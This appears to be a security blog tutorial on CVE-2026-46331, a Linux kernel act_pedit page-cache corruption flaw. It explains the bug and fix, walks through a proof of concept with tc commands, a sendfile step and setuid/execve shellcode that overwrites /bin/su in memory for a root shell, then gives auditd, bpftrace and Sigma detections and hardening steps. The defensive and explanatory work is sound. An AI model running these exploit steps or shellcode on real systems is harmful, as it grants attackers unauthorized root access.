CVE-2026-46331 “pedit COW”: Anatomy of the Linux Kernel Page-Cache Poisoning LPE That Spawns a Root Shell While File-Integrity Checks Stay Green
Your AIDE database is clean. Tripwire reports zero changes. The sha256 of /bin/su on disk matches the known-good value to the last nibble. And yet, somebody already has a root shell. The page cache gave it to them, and nobody on the blue side noticed because the attack never touched the filesystem. This is pedit COW, and if you run Linux kernels v5.18 through v7.1-rc6 with unprivileged user namespaces open, you need to understand exactly how it works, because your file-integrity monitoring is architecturally blind to it.
CVE-2026-46331 in 60 Seconds
On June 16, 2026, CVE-2026-46331 dropped as a local privilege escalation in the Linux kernel’s net/sched subsystem, specifically in act_pedit (net/sched/act_pedit.c). The bug is a missing bounds check: the kernel pre-computes how much of a network packet buffer to copy-on-write before modifying it, but that computation uses a stale hint that doesn’t account for runtime header offsets added by “typed” pedit keys. The result is a partial COW. The write lands outside the privatized region and, because the packet buffer can reference zero-copy pages pulled in via sendfile(), that stray write corrupts shared page-cache memory backing a real file on disk.
Within 24 hours, a GitHub user (sgkdev) published packet_edit_meme, a PoC that uses this primitive to overwrite the ELF entry point of /bin/su in memory, inject setuid(0); execve("/bin/sh") shellcode, and drop a root shell. The on-disk binary is never modified. CVSS v4.0: 8.5 High. Red Hat tagged it RHSB-2026-008 and rated it Important. The fix landed in commit 899ee91156e57784090c5565e4f31bd7dbffbc5a (v7.1-rc7).
| Field | Value |
|---|---|
| CVE | CVE-2026-46331 |
| Nickname | pedit COW |
| Subsystem | net/sched / act_pedit (net/sched/act_pedit.c) |
| Bug class | OOB write / partial COW / page-cache corruption / LPE |
| Affected kernels | v5.18 through v7.1-rc6 |
| Fix commit | 899ee91156e57784090c5565e4f31bd7dbffbc5a |
| Red Hat bulletin | RHSB-2026-008 |
| CVSS v4.0 | 8.5 (AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) |
| Public PoC | packet_edit_meme (GitHub, sgkdev, June 17 2026) |
The Linux Page Cache: Why Shared Pages Are Dangerous
Before the bug mechanics make sense, you need to understand what the page cache actually is and why writing into a shared page is so destructive.
When a process opens and reads a file, the kernel doesn’t just hand raw disk blocks into userspace. It reads disk blocks into struct page objects managed by an address_space associated with the file’s inode. These pages live in RAM and are shared: if three processes all read /bin/su, they all map the same physical pages. The VFS layer, the mmap subsystem, and (critically for this bug) the network stack can all hold references to these same pages.
When the network stack needs to transmit file data, sendfile() and splice() avoid copying by handing the page-cache pages directly to the socket buffer (skb) as fragments. This is a huge performance win. The kernel’s contract is simple: those pages are read-only references; if any subsystem needs to modify the data, it must copy-on-write first, creating a private copy and leaving the shared page untouched.
If that COW contract breaks, a write intended for a private packet buffer lands in the shared page-cache page. The consequences are immediate. Every process that subsequently reads that file, or that already has it mapped, sees the corrupted data. The inode’s on-disk representation is unchanged. Tools like AIDE and Tripwire that stat files and hash disk blocks see nothing wrong. The corruption exists purely in RAM, in the authoritative cache the kernel consults before touching disk.
A reboot flushes it. echo 3 > /proc/sys/vm/drop_caches flushes it. But until then, the poisoned page is what the kernel serves to every exec(), read(), and mmap().
The tc/net/sched Subsystem and act_pedit
Linux traffic control (tc) is the kernel’s packet scheduling and manipulation framework. Its architecture is layered: qdiscs (queuing disciplines) sit on network interfaces, filters classify packets flowing through those qdiscs, and actions modify or police those packets. The act_pedit action (packet edit) lets administrators rewrite arbitrary header fields inline: change a destination port, swap MAC addresses, adjust TTLs.
Configuration happens through Netlink messages, primarily RTM_NEWTFILTER and RTM_NEWACTION. The tc userspace utility from iproute2 constructs these messages. The kernel-side implementation lives in net/sched/act_pedit.c.
Pedit Keys and Typed Keys
Each pedit action carries an array of struct tc_pedit_key entries, each specifying an offset (off), a mask, a value, and a command (set or add). A “basic” key operates at a fixed byte offset from the start of the packet data.
The more powerful form is the typed key, represented by struct tc_pedit_key_ex, which adds an htype field specifying a header type: TCA_PEDIT_KEY_EX_HDR_TYPE_ETH, _IP, _IP6, _TCP, or _UDP. For typed keys, the actual write offset isn’t just tkey->off. The kernel resolves a runtime header offset (hoffset) by inspecting the live packet’s header layout. An IP-typed key, for instance, adds the offset of the IP header within the skb. A TCP-typed key adds the offset to the TCP header. This resolution happens inside the key-iteration loop in tcf_pedit_act(), not before it.
That timing difference is the entire bug.
The Bug: Partial COW in tcf_pedit_act()
Here is the core of the vulnerability, stripped to its mechanical essence.
Before the key-iteration loop, tcf_pedit_act() calls skb_ensure_writable() to COW the region of the skb that the pedit action will modify. The size passed to skb_ensure_writable() is derived from tcfp_off_max_hint, a precomputed value representing the maximum offset any key will write to. This hint is calculated at action-configuration time from the static tkey->off values.
The problem: for typed keys, tkey->off is a relative offset within a protocol header, not an absolute offset within the packet. The absolute write position is hoffset + tkey->off, where hoffset is the runtime header offset resolved inside the loop by inspecting the actual skb. tcfp_off_max_hint never included hoffset because hoffset doesn’t exist until the loop runs.
In pseudocode, the vulnerable path looked like this:
/* net/sched/act_pedit.c — VULNERABLE (simplified) */
static int tcf_pedit_act(struct sk_buff *skb, ...)
{
struct tcf_pedit *p = to_pedit(a);
struct tcf_pedit_parms *parms;
int i;
parms = rcu_dereference(p->parms);
/* PRE-LOOP: COW using stale hint — does NOT include hoffset */
if (skb_ensure_writable(skb, parms->tcfp_off_max_hint))
goto done;
for (i = parms->tcfp_nkeys; i > 0; i--, tkey++) {
int offset = tkey->off;
int hoffset = 0;
/* For typed keys, resolve runtime header offset NOW */
if (tkey_ex && tkey_ex->htype != TCA_PEDIT_KEY_EX_HDR_TYPE_NETWORK) {
hoffset = pedit_skb_hdr_offset(skb, tkey_ex->htype);
/* hoffset could be 14 (ETH), 34 (ETH+IP), 54 (ETH+IP+TCP)... */
}
offset += hoffset; /* <--- actual write position */
/* WRITE: but skb_ensure_writable() only COW'd up to
* tkey->off, NOT up to (tkey->off + hoffset).
* If offset > tcfp_off_max_hint, this write lands
* OUTSIDE the COW'd region. */
ptr = skb_header_pointer(skb, offset, 4, &hdata);
*ptr = (*ptr & tkey->mask) ^ tkey->val;
}
...
}
The write at the bottom of the loop uses offset (which includes hoffset), but the COW boundary was set using only the static tkey->off values. If hoffset pushes the write past the COW’d range, the kernel writes directly into a page it does not exclusively own.
Why It Hits the Page Cache
When the skb was constructed via sendfile(), its fragment list contains references to page-cache pages. skb_ensure_writable() was supposed to make those fragments private before any modification. Because it privatized too few bytes, the write at offset lands in a still-shared page-cache page backing the file that was sendfile()‘d.
If that file is /bin/su (a setuid-root binary), the attacker just overwrote part of its in-memory ELF image.
The INT_MIN Edge Case
The patch also hardened offset_valid() against INT_MIN. When offset equals INT_MIN, negating it (to check the negative-offset code path) is undefined behavior in C, because -INT_MIN overflows a signed 32-bit integer. The fix adds an explicit guard:
static bool offset_valid(struct sk_buff *skb, int offset)
{
if (offset >= 0)
return skb->len >= offset + sizeof(u32);
if (offset == INT_MIN) /* <--- added guard */
return false;
return skb_mac_header_was_set(skb) && ...;
}
The Fix
Commit 899ee91156e57784090c5565e4f31bd7dbffbc5a moves skb_ensure_writable() inside the per-key loop, so the writable range is recalculated using the actual offset (including hoffset) for each key. For negative offsets (Ethernet header edits at ingress), it calls skb_cow() to properly COW the headroom. And it adds the INT_MIN guard to offset_valid().

User Namespaces as the Capability Oracle
Configuring tc qdiscs, filters, and pedit actions requires CAP_NET_ADMIN. On a normally configured system, an unprivileged user doesn’t have this capability. But unprivileged user namespaces change the equation entirely.
A single unshare(CLONE_NEWUSER | CLONE_NEWNET) call creates a new user namespace and a new network namespace. Inside that namespace, the calling process is uid 0 with a full capability set, including CAP_NET_ADMIN. The loopback interface (lo) exists in every network namespace. The attacker can bring it up, attach qdiscs and filters, and configure pedit actions, all without any privilege in the initial namespace.
/* Namespace creation — the exploit's phase 1 */
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
perror("unshare"); /* This is where Ubuntu's AppArmor blocks */
exit(1);
}
/* Now inside the namespace: we have CAP_NET_ADMIN */
/* Bring up lo via netlink RTM_NEWLINK */
/* Configure tc pedit action via netlink RTM_NEWTFILTER */
This is why the bug is exploitable by any local user on systems where unprivileged user namespaces are enabled by default, which includes RHEL 10, Debian 13, Fedora, Arch, and most non-Ubuntu distributions.
Family Tree: The DirtyFrag Lineage
pedit COW is not an isolated accident. It belongs to a lineage of bugs that all share the same fundamental shape: a kernel fast path writes into a page-cache page it doesn’t exclusively own, corrupting a shared file mapping without touching disk.
| Vulnerability | Entry Point | COW Violation Mechanism | Year |
|---|---|---|---|
| Dirty Pipe (CVE-2022-0847) | splice() / pipe | PIPE_BUF_FLAG_CAN_MERGE set on a pipe buffer referencing a page-cache page; subsequent write() appends into the shared page | 2022 |
| Copy Fail (CVE-2023-XXXXX) | AF_ALG splice | Crypto subsystem splice path fails to COW properly | 2023 |
| DirtyFrag | skb_shared_frag flag / XFRM | IPsec in-place decryption writes into unflagged shared page-cache frag | 2025 |
| DirtyClone | __pskb_copy_fclone() / netfilter TEE | Missing SKBFL_SHARED_FRAG propagation in skb clone; TEE rule triggers IPsec decryption path that overwrites file-backed page | 2025 |
| pedit COW (CVE-2026-46331) | tcf_pedit_act() / sendfile() | Stale tcfp_off_max_hint causes partial COW; typed-key write lands outside privatized range into page-cache frag | 2026 |
The architectural tension is always the same. The kernel aggressively shares pages across subsystems for performance: the VFS page cache, the network stack’s zero-copy paths, the pipe subsystem, the crypto layer. COW is the safety mechanism. Every one of these bugs is a case where a code path assumed COW had already happened, or computed the COW range incorrectly, and wrote into shared memory. The entry points differ, but the primitive and the impact are identical.
What’s new with pedit COW specifically is the user-namespace angle. Earlier family members (DirtyFrag, DirtyClone) required netfilter rules or XFRM policies that typically need real CAP_NET_ADMIN in the init namespace. pedit COW’s tc path is reachable from a user-namespace CAP_NET_ADMIN, lowering the bar to any unprivileged local user.

PoC Walkthrough: packet_edit_meme Step by Step
Lab target: QEMU/KVM VM running Debian 13 “Trixie” with unpatched kernel 6.12.90+deb13.1, or RHEL 10.0 on 6.12.0-228.el10. x86-64. Unprivileged local user. No sudo.
This walkthrough is for authorized lab environments only. Do not execute against any system you do not own and explicitly control.
Phase 0: Verify Vulnerability
uname -r # Confirm v5.18 <= version <= v7.1-rc6
sysctl user.max_user_namespaces # Must be > 0
sysctl kernel.unprivileged_userns_clone # Debian: must be 1
modinfo act_pedit # Module must be loadable
./test_cve # Harness reports: VULNERABLE
Phase 1: Namespace Creation (Capability Acquisition)
The exploit calls unshare(CLONE_NEWUSER | CLONE_NEWNET). The child process now holds full capabilities inside its namespace, including CAP_NET_ADMIN. It brings up loopback via Netlink RTM_NEWLINK.
Under strace, this looks like:
unshare(CLONE_NEWUSER|CLONE_NEWNET) = 0
socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE) = 3
sendto(3, {nlmsg_type=RTM_NEWLINK, ...}, ...) = 40
Phase 2: Page-Cache Anchoring via sendfile
The exploit opens /bin/su read-only (O_RDONLY), opens a local TCP socket pair on 127.0.0.1:4445, and calls sendfile() to push the binary’s contents through the socket. This is the critical step: sendfile() constructs skb fragments that reference the page-cache pages of /bin/su directly (zero-copy). Those skb frags now hold live references to the shared page cache.
int fd_su = open("/bin/su", O_RDONLY);
/* Set up TCP listener + connector on lo:4445 */
off_t off = 0;
sendfile(sock_fd, fd_su, &off, su_size);
/* skb now has frags pointing at page-cache pages of /bin/su */
Phase 3: tc Pedit Configuration (The Trigger Setup)
Inside the namespace, the exploit configures a prio qdisc on lo, attaches a u32 filter, and adds a pedit action with carefully crafted typed keys. The key combination is designed so that tcfp_off_max_hint (based on static tkey->off values) underestimates the actual write range:
tc qdisc add dev lo root handle 1: prio
tc filter add dev lo parent 1: protocol ip u32 match u32 0 0 \
action pedit ex munge ip dport set 0x1234 \
munge eth dst set 0xDEADBEEFCAFE
The ip dport key’s static offset is small. The eth dst key at ingress resolves a negative hoffset at runtime. Together, the resolved write position for the second key falls outside the COW’d range, landing in the page-cache frag.
Phase 4: Calibration
The exploit doesn’t blindly guess where /bin/su‘s ELF entry point sits within the page-cache pages. It runs a calibration loop: write known marker bytes via the pedit primitive, read back the page-cache state (by reading /bin/su again), measure the delta, and adjust the pedit key offsets until the write lands precisely at the e_entry offset from the ELF header.
readelf -h /bin/su | grep "Entry point"
# Entry point address: 0x4020 (example)
# The calibration loop in setup() writes to /tmp/.pedit_calib
# and adjusts until the 4-byte overwrite hits offset 0x4020
Phase 5: Payload Injection
Once calibrated, the exploit reconfigures the pedit keys with the actual shellcode bytes as the val fields. The shellcode is minimal x86-64:
; pedit_cow_shellcode.asm — setuid(0) + setgid(0) + execve("/bin/sh")
BITS 64
global _start
_start:
xor edi, edi
mov eax, 106 ; SYS_setgid
syscall
xor edi, edi
mov eax, 105 ; SYS_setuid
syscall
lea rdi, [rel binsh]
xor esi, esi
xor edx, edx
mov eax, 59 ; SYS_execve
syscall
binsh:
db "/bin/sh", 0
The exploit triggers a packet through the configured tc path (sends data on the loopback socket), the pedit action fires, the write lands in the page-cache page at the ELF entry point offset, and the shellcode bytes replace the original instructions.
Phase 6: Root Shell
The exploit exits the user namespace (the child exits, returning control to the parent in the init namespace). The parent then executes /bin/su. The kernel’s execve() handler reads the binary’s pages from the page cache, which now contain the shellcode at the entry point. Because /bin/su is setuid-root, the process runs as root. The shellcode calls setgid(0), setuid(0), and execve("/bin/sh").
/bin/su
# Shellcode executes instead of normal su code
id
# uid=0(root) gid=0(root) groups=0(root)
Meanwhile:
sha256sum /bin/su
# Returns the ORIGINAL, known-good hash. Disk is untouched.
This is the punchline. Your FIM is green. Your IDS baseline is clean. The attack exists entirely in the page cache.

Why FIM Stays Green
This deserves its own section because the implications are severe for anyone whose security posture leans heavily on file-integrity monitoring.
AIDE, Tripwire, OSSEC, and similar tools work by hashing files on disk and comparing against a known-good database. They operate at the VFS or block layer. pedit COW never writes to disk. The page cache is a read cache; dirty pages are only written back if the kernel marks them dirty through the normal filesystem write path. The exploit’s write goes through the network stack’s packet-modification path, which doesn’t set the page dirty in the filesystem sense. The page-cache page is corrupted in RAM, but the inode’s on-disk blocks are pristine.
You can verify this during exploitation:
# On-disk hash — unchanged
sha256sum /bin/su
# In-memory content — corrupted
dd if=/proc/$(pgrep -f "poisoned_su")/mem bs=1 skip=$((0x400000)) count=4096 2>/dev/null | xxd | head
The only retroactive remediation (short of a reboot) is flushing the page cache:
echo 3 > /proc/sys/vm/drop_caches
This evicts the poisoned page. The next read of /bin/su fetches clean data from disk. But if a root shell is already open, flushing the cache doesn’t revoke it.
The lesson: for this class of attack, file-integrity monitoring is architecturally insufficient. You need runtime behavioral detection.

Ubuntu 26.04: AppArmor as an Exploit Gate
Ubuntu 26.04 (and 24.04 before it) ships with kernel.apparmor_restrict_unprivileged_userns=1 and kernel.apparmor_restrict_unprivileged_unconfined=1. Under this policy, unprivileged processes can only create user namespaces if they are confined by an AppArmor profile that explicitly includes the userns rule, or if they hold CAP_SYS_ADMIN.
The packet_edit_meme exploit binary has no AppArmor profile granting userns. On Ubuntu 26.04 with kernel 7.0.0-14, the exploit’s unshare() call fails with EPERM, and the audit log shows:
type=AVC msg=audit(...): apparmor="DENIED" operation="userns_create" \
profile="unprivileged_userns" pid=31337 comm="pedit_primitive" \
requested_mask="userns_create" denied_mask="userns_create"
This blocks the exploit’s capability-acquisition phase. The attack cannot proceed without CAP_NET_ADMIN.
But here’s the critical nuance: the kernel code is still vulnerable. The act_pedit partial-COW bug exists in Ubuntu’s 7.0.0-14 kernel. If an attacker finds an alternate path to CAP_NET_ADMIN (a misconfigured AppArmor profile, a container runtime that grants it, a different capability-escalation bug), the page-cache corruption primitive still works. Ubuntu’s mitigation is a gate on the prerequisite, not a fix for the vulnerability. You still need to patch.
Compare this with RHEL 10 and Debian 13, where unprivileged user namespaces are open by default (sysctl user.max_user_namespaces = 65536). On those systems, the exploit works out of the box until the kernel is patched.
Detection: Kernel Telemetry, Audit Rules, and eBPF
Since FIM is blind to this attack class, detection has to come from behavioral signals: syscall patterns, module loads, and kernel function invocations.
Auditd Rules
Add these to /etc/audit/rules.d/pedit-cow.rules:
# Phase 1: Detect user namespace creation by non-root
-a always,exit -F arch=b64 -S unshare -k userns_create
-a always,exit -F arch=b32 -S unshare -k userns_create
# Phase 2: Detect sendfile/splice by unprivileged users
-a always,exit -F arch=b64 -S sendfile,sendfile64 -F auid>=1000 -k sendfile_unpriv
-a always,exit -F arch=b32 -S sendfile,sendfile64 -F auid>=1000 -k sendfile_unpriv
-a always,exit -F arch=b64 -S splice -F auid>=1000 -k splice_unpriv
# Phase 6: Detect setuid binary execution from unprivileged parent
-a always,exit -F arch=b64 -S execve -F euid=0 -F auid>=1000 -k setuid_exec_unpriv
These will be noisy in environments with rootless containers (Podman, rootless Docker). Tune by excluding known container runtime UIDs.
eBPF / bpftrace
For targeted detection, attach to the kernel function directly:
# Alert on any invocation of tcf_pedit_act — should be near-zero on most hosts
bpftrace -e 'kprobe:tcf_pedit_act {
printf("ALERT: tcf_pedit_act called by pid=%d comm=%s uid=%d\n",
pid, comm, uid);
}'
# Detect act_pedit module load (auto-load triggered by tc configuration)
bpftrace -e 'kprobe:__request_module {
$mod = str(arg0);
if ($mod == "act_pedit") {
printf("ALERT: act_pedit module requested by pid=%d comm=%s\n",
pid, comm);
}
}'
On a typical server or workstation, tcf_pedit_act() is never called. Any invocation outside a known network-management context is suspicious.
Sigma Rule: Behavioral Chain Detection
title: pedit COW - Root Shell via Page-Cache Poisoning (Behavioral Chain)
id: c7e3f1a2-9d4b-4e8a-b1c6-2f3a4d5e6f7a
status: experimental
description: >
Detects the three-phase behavioral chain of pedit COW exploitation:
namespace creation, sendfile of a setuid binary, and root shell execution.
logsource:
product: linux
service: auditd
detection:
phase1_namespace:
key: userns_create
syscall: unshare
uid|gte: 1000
phase2_sendfile:
key: sendfile_unpriv
syscall|contains:
- sendfile
- sendfile64
uid|gte: 1000
phase3_root_exec:
key: setuid_exec_unpriv
syscall: execve
euid: 0
auid|gte: 1000
timeframe: 60s
condition: phase1_namespace and phase2_sendfile and phase3_root_exec
falsepositives:
- Rootless container runtimes (Podman, rootless Docker)
- CI/CD sandbox systems using user namespaces
level: high
tags:
- attack.privilege_escalation
- attack.t1068
Sigma Rule: Unexpected act_pedit Module Load
title: Unexpected act_pedit Kernel Module Load
id: a8b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
logsource:
product: linux
service: auditd
detection:
selection:
syscall|contains:
- init_module
- finit_module
key|contains: act_pedit
condition: selection
level: medium
tags:
- attack.privilege_escalation
- attack.t1068
ftrace for Kernel-Level Tracing
# Trace tcf_pedit_act execution in real-time
echo 'tcf_pedit_act' > /sys/kernel/debug/tracing/set_ftrace_filter
echo function > /sys/kernel/debug/tracing/current_tracer
echo 1 > /sys/kernel/debug/tracing/tracing_on
cat /sys/kernel/debug/tracing/trace_pipe
# Any output here on a host that doesn't use tc pedit is a red flag
MITRE ATT&CK Mapping
| Technique | ID | Exploit Phase |
|---|---|---|
| Exploitation for Privilege Escalation | T1068 | Phases 3-6 (kernel bug exploitation) |
| Create or Modify System Process | T1543 | Phase 5 (in-memory binary modification) |
| Abuse Elevation Control Mechanism | T1548.001 | Phase 6 (setuid binary execution) |
| Impair Defenses: Disable or Modify Tools | T1562 | Inherent (FIM evasion) |
Mitigation and Hardening
In priority order:
| Priority | Action | Detail |
|---|---|---|
| P0 | Patch and reboot | Deploy vendor-fixed kernel: RHEL 6.12.0-229.el10 or later, Debian 6.12.91+deb13.1 or later, upstream 7.1-rc7+. Reboot is required both to load the fixed kernel and to flush any poisoned page-cache pages. |
| P1 | Blacklist act_pedit module | Add install act_pedit /bin/false to /etc/modprobe.d/pedit-cow.conf. This prevents auto-loading when tc configuration triggers the module. Most systems never use pedit; the false positive rate of blocking it is near zero. |
| P1 | Restrict unprivileged user namespaces | On RHEL/Debian: sysctl -w user.max_user_namespaces=0 (breaks rootless containers). On Ubuntu: verify kernel.apparmor_restrict_unprivileged_userns=1. On systems that need user namespaces for specific applications, use AppArmor or SELinux to allow them only for those applications. |
| P2 | Deploy auditd rules and eBPF monitors | See detection section above. Even after patching, these detect attempts and catch future variants. |
| P3 | Runtime kernel integrity monitoring | Tools like Falco (eBPF-based) or custom bpftrace scripts that monitor tcf_pedit_act, sendfile of setuid binaries, and namespace creation chains provide defense-in-depth against the entire DirtyFrag family. |
| P3 | Supplement FIM with page-cache-aware checks | Periodically compare in-memory binary content (via /proc/PID/mem or by reading the file and comparing against the known-good hash in the same read operation) rather than relying solely on inode-level stat/hash. This is operationally expensive but covers the page-cache attack surface. |
Post-Exploitation Response
If you suspect exploitation has occurred:
- Flush page cache immediately:
echo 3 > /proc/sys/vm/drop_caches(requires root). - Audit active sessions: check for unexpected root shells with
w,who,ss -tnp, and/proc/*/status. - Check for persistence: the attacker had root. Assume they planted SSH keys, cron jobs, systemd units, or kernel modules.
- Reboot into a patched kernel: this is the only way to be certain the page cache is clean and the vulnerability is closed.
Key Takeaways
- pedit COW is a partial copy-on-write failure in
tcf_pedit_act()caused by a staletcfp_off_max_hintthat doesn’t account for runtime header offsets in typed pedit keys. The fix moves the COW call inside the per-key loop. - The attack path starts with
unshare(CLONE_NEWUSER | CLONE_NEWNET), which gives any local user namespace-scopedCAP_NET_ADMIN. Restricting unprivileged user namespaces is the single most effective mitigation short of patching. - The page-cache corruption primitive means file-integrity monitoring is architecturally blind. The on-disk binary is never modified. AIDE, Tripwire, and equivalent tools will report clean while a root shell is already open. Detection must come from behavioral telemetry: auditd, eBPF, and runtime process monitoring.
- Ubuntu’s AppArmor namespace restriction blocks the prerequisite, not the bug. The kernel remains vulnerable. Patch anyway.
- This is the fifth member of the DirtyFrag family. The pattern (kernel fast-path writes into unowned shared page-cache pages) is a recurring architectural weakness in how Linux shares pages across subsystems. Defenders should treat detection of the entire family as a single workstream, not individual CVE responses.
- On most systems,
act_pedithas no legitimate use. Blacklisting it viamodprobe.dis a zero-cost hardening step that should have been default years ago.
Related Tutorials
- Access Tokens and Privileges: The Kernel’s Security Context
- Writing Your First Shellcode: x86 Reverse Shell from Scratch
- System Calls and SSDT: How User Mode Reaches the Kernel
- HAL and Ntoskrnl: The Kernel Core Components
- User Mode vs Kernel Mode: Privilege Rings and the Boundary
References
- NVD – CVE-2026-46331 Detail (NIST National Vulnerability Database)
- Ubuntu Security – CVE-2026-46331 Advisory
- TuxCare Blog – pedit COW (CVE-2026-46331): Linux tc Flaw Grants Root
- CyberPress – New Pedit COW Linux Kernel Flaw Lets Local Users Gain Root Access
- The CyberSec Guru – Two New Linux LPEs Hit Page Cache from Opposite Ends of the Kernel (CVE-2026-46331 & CVE-2026-43503)
- Cyasha – Linux CVE-2026-46331 Explained: Pedit COW Vulnerability Grants Root Access